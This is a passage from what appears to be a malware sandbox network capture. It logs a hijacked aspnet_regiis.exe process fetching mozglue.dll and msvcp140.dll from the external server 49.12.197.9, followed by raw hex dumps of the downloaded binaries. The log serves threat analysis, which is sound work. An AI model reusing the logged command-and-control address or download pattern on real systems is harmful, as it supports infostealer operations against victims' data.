89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 Data Ascii: 8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49733	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:10 UTC	195	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:11 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:11 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:11 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:11 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-10-03 01:36:11 UTC	16384	IN	Data Raw: b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49735	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:12 UTC	196	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:13 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:13 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:13 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:13 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnm
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-10-03 01:36:13 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|
